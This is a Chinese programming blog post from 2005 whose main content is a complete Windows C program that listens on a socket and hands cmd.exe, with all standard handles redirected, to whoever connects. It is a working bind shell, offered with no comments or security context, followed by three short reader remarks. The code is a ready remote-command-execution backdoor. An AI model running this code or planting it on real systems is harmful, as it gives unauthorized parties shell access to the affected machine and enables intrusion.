Coder Jozu

I believe --- 这里坚持原创,拒绝转贴

  VC知识库BLOG :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 登录 ::
  13 随笔 :: 4 文章 :: 87 评论 :: 1 Trackbacks
<2008年11月>
2627282930311
2345678
9101112131415
16171819202122
23242526272829
30123456

留言簿(4)

随笔分类

随笔档案

文章分类

文章档案

东接西链

搜索

最新评论

阅读排行榜

评论排行榜

// Redirect command console

// Coder Jozu

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <WINSOCK2.H>

#pragma comment(lib, "ws2_32")

int main(int argc, char* argv[])
{
 SOCKET s;
 SOCKET s1;
 SOCKADDR_IN sin;
 WSADATA wsa;
 STARTUPINFO si = { sizeof(si) };
 PROCESS_INFORMATION pi;
 char szCmd[] = "cmd";

 WSAStartup(MAKEWORD(1, 1), &wsa);

 s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
 if(s == INVALID_SOCKET)
 {
  printf("Error on WSASocket %d, abort...", WSAGetLastError());
  return 1;
 }
 sin.sin_family = AF_INET;
 sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.88");
 sin.sin_port = htons(1234);

 if(bind(s, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
 {
  printf("Error on connect %d, abort...", WSAGetLastError());
  return 1;
 }

 listen(s, 5);

 s1 = accept(s, NULL, NULL);
 
 si.dwFlags = STARTF_USESTDHANDLES;
 si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s1;

 CreateProcess(NULL, szCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

 WaitForSingleObject(pi.hProcess, INFINITE);
 
 return 0;
}

posted on 2005-01-03 06:10 Coder Jozu 阅读(5988) 评论(4)  编辑 收藏

评论

# re: 利用socket进行命令行进程的重定向 2005-01-04 02:39 cool
有点意思!

# re: 利用socket进行命令行进程的重定向 2005-04-27 08:29 john
怎么没有一点注释啊

# re: 利用socket进行命令行进程的重定向 2006-07-28 15:41
这样做有意义吗

标题  
姓名  
主页
验证码 *
内容   
  登录  使用高级评论  Top
[使用Ctrl+Enter键可以直接提交]